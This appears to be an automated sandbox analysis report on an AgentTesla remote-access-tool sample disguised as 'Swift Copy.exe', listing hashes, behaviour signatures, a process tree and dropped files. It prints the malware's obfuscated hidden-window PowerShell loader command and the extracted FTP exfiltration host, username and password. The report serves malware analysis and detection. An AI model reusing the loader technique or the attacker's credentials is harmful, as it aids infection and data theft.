Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-11-2024 16:48

General

  • Target

    Swift Copy.exe

  • Size

    979KB

  • MD5

    411ad554068219f2ed0ce5e74f02d542

  • SHA1

    917cc7780771e518c544338e24204471c54ec5fa

  • SHA256

    59b03fee31c5c62caac3b05827d210553ce84a6e7c5ae43cb7d34f8242d9bae6

  • SHA512

    6dbd1cffd8e580bb8737e00e6c85a63d8092edb2db2028d671241fc1223e58d254a13adfe1ee05574a98be8ec471566bba7d73e2d73d30ba1805d35615c3e090

  • SSDEEP

    24576:i/Vwqfj3y6EQ4Dsv+G/9nRn0fyVPiDrNEtEBkvUEZmWwH+EP0R/tF25taZScLvci:0Vwqfj3y6EQ4Dsv+G/910fyVPiDrNEt1

Malware Config

Extracted

Credentials

  • Protocol:
    ftp
  • Host:
    ftp.concaribe.com
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    ro}UWgz#!38E

Extracted

Family

agenttesla

Credentials

  • Protocol:
    ftp
  • Host:
    ftp://ftp.concaribe.com
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    ro}UWgz#!38E

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Agenttesla family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Blocklisted process makes network request 4 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Swift Copy.exe
    "C:\Users\Admin\AppData\Local\Temp\Swift Copy.exe"
    1⤵
    • Drops file in System32 directory
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:5024
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Markgreven=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\bruised\calypsoerne\drikkelaget\Overkeenly.Aut';$Fortykkelsernes=$Markgreven.SubString(3059,3);.$Fortykkelsernes($Markgreven)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4560
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2672

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_caavmcws.aak.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\bruised\calypsoerne\drikkelaget\Alkoholers.Ret

    Filesize

    292KB

    MD5

    71fc777fd0d8b08ed6a1b1989cc95318

    SHA1

    2d2f221507791b9765104d8c2e4f5a2b11cabe32

    SHA256

    01fbdf4dbc1f68eb63e7ddbd2f38ce32878575030857fc1fbdf6701072b540a9

    SHA512

    a837f6e3c95c19021ff908bc584ec9aa9d9503758ba9cea261d9ac75125520801bf73845b0a3434ec55afd818cf68bed560e9238ffc1e05ea9c5cd192c337f61

  • C:\Users\Admin\AppData\Local\Temp\bruised\calypsoerne\drikkelaget\Overkeenly.Aut

    Filesize

    55KB

    MD5

    e1aaf4db5b49f5077aa39b8e8ca91243

    SHA1

    f1d68c2d223d1112f80b798a131da9e91c826bce

    SHA256

    76a1f9a4593917cdb08c30b9a444a43a7100fb1332aab4d7a4e335819eeeae55

    SHA512

    80d95f4062e06d0706c070b1071d9ba8ca3fa824532dbd3978cd95405502d48cf81dd2e5c6c329a90ebe8793e2065f22cb5502c510076ca626f6e92f0ba8608a

  • C:\Windows\SysWOW64\nonpurchasable.ini

    Filesize

    39B

    MD5

    e3b7ad34c9d96ee6bb33a7ea9652861f

    SHA1

    31414d72fe513f0df1a7348dcd94d183b2168e34

    SHA256

    e4c8aea2ff455ae1d449cfd6105f5fb00b40ee33e96ef3b900a6f12cf7f33b15

    SHA512

    56664fd237e1a885c9631df14d72f0ac35d1b2ee891095fe1c12774fea3849d699122af314cc346b5854e07521b9b3df87d5d35b58949bd7656778b82550547a

  • memory/2672-73-0x0000000001A60000-0x000000000252B000-memory.dmp

    Filesize

    10.8MB

  • memory/2672-75-0x0000000000800000-0x0000000000842000-memory.dmp

    Filesize

    264KB

  • memory/2672-81-0x0000000021010000-0x000000002101A000-memory.dmp

    Filesize

    40KB

  • memory/2672-80-0x00000000210B0000-0x0000000021142000-memory.dmp

    Filesize

    584KB

  • memory/2672-79-0x0000000001A60000-0x000000000252B000-memory.dmp

    Filesize

    10.8MB

  • memory/2672-77-0x0000000020F70000-0x000000002100C000-memory.dmp

    Filesize

    624KB

  • memory/2672-76-0x00000000207D0000-0x0000000020820000-memory.dmp

    Filesize

    320KB

  • memory/2672-74-0x0000000000800000-0x0000000001A54000-memory.dmp

    Filesize

    18.3MB

  • memory/4560-44-0x00000000708A0000-0x0000000070BF4000-memory.dmp

    Filesize

    3.3MB

  • memory/4560-60-0x0000000007480000-0x00000000074A4000-memory.dmp

    Filesize

    144KB

  • memory/4560-32-0x00000000058B0000-0x0000000005C04000-memory.dmp

    Filesize

    3.3MB

  • memory/4560-33-0x0000000005E70000-0x0000000005E8E000-memory.dmp

    Filesize

    120KB

  • memory/4560-34-0x0000000005F00000-0x0000000005F4C000-memory.dmp

    Filesize

    304KB

  • memory/4560-35-0x0000000006440000-0x00000000064D6000-memory.dmp

    Filesize

    600KB

  • memory/4560-37-0x00000000063D0000-0x00000000063F2000-memory.dmp

    Filesize

    136KB

  • memory/4560-36-0x0000000006360000-0x000000000637A000-memory.dmp

    Filesize

    104KB

  • memory/4560-38-0x00000000074B0000-0x0000000007A54000-memory.dmp

    Filesize

    5.6MB

  • memory/4560-40-0x00000000080E0000-0x000000000875A000-memory.dmp

    Filesize

    6.5MB

  • memory/4560-42-0x0000000070710000-0x000000007075C000-memory.dmp

    Filesize

    304KB

  • memory/4560-43-0x0000000074970000-0x0000000075120000-memory.dmp

    Filesize

    7.7MB

  • memory/4560-21-0x00000000057D0000-0x0000000005836000-memory.dmp

    Filesize

    408KB

  • memory/4560-41-0x00000000072A0000-0x00000000072D2000-memory.dmp

    Filesize

    200KB

  • memory/4560-54-0x00000000072E0000-0x00000000072FE000-memory.dmp

    Filesize

    120KB

  • memory/4560-55-0x0000000074970000-0x0000000075120000-memory.dmp

    Filesize

    7.7MB

  • memory/4560-56-0x0000000007310000-0x00000000073B3000-memory.dmp

    Filesize

    652KB

  • memory/4560-57-0x0000000074970000-0x0000000075120000-memory.dmp

    Filesize

    7.7MB

  • memory/4560-58-0x0000000007410000-0x000000000741A000-memory.dmp

    Filesize

    40KB

  • memory/4560-27-0x0000000005840000-0x00000000058A6000-memory.dmp

    Filesize

    408KB

  • memory/4560-59-0x0000000007450000-0x000000000747A000-memory.dmp

    Filesize

    168KB

  • memory/4560-61-0x0000000074970000-0x0000000075120000-memory.dmp

    Filesize

    7.7MB

  • memory/4560-62-0x000000007497E000-0x000000007497F000-memory.dmp

    Filesize

    4KB

  • memory/4560-63-0x0000000074970000-0x0000000075120000-memory.dmp

    Filesize

    7.7MB

  • memory/4560-64-0x0000000074970000-0x0000000075120000-memory.dmp

    Filesize

    7.7MB

  • memory/4560-66-0x0000000074970000-0x0000000075120000-memory.dmp

    Filesize

    7.7MB

  • memory/4560-67-0x0000000074970000-0x0000000075120000-memory.dmp

    Filesize

    7.7MB

  • memory/4560-68-0x0000000008760000-0x000000000922B000-memory.dmp

    Filesize

    10.8MB

  • memory/4560-69-0x0000000074970000-0x0000000075120000-memory.dmp

    Filesize

    7.7MB

  • memory/4560-70-0x0000000074970000-0x0000000075120000-memory.dmp

    Filesize

    7.7MB

  • memory/4560-20-0x0000000074970000-0x0000000075120000-memory.dmp

    Filesize

    7.7MB

  • memory/4560-19-0x0000000004EA0000-0x0000000004EC2000-memory.dmp

    Filesize

    136KB

  • memory/4560-18-0x0000000074970000-0x0000000075120000-memory.dmp

    Filesize

    7.7MB

  • memory/4560-17-0x00000000051A0000-0x00000000057C8000-memory.dmp

    Filesize

    6.2MB

  • memory/4560-16-0x0000000002890000-0x00000000028C6000-memory.dmp

    Filesize

    216KB

  • memory/4560-15-0x000000007497E000-0x000000007497F000-memory.dmp

    Filesize

    4KB

  • memory/4560-71-0x0000000074970000-0x0000000075120000-memory.dmp

    Filesize

    7.7MB

  • memory/4560-72-0x0000000074970000-0x0000000075120000-memory.dmp

    Filesize

    7.7MB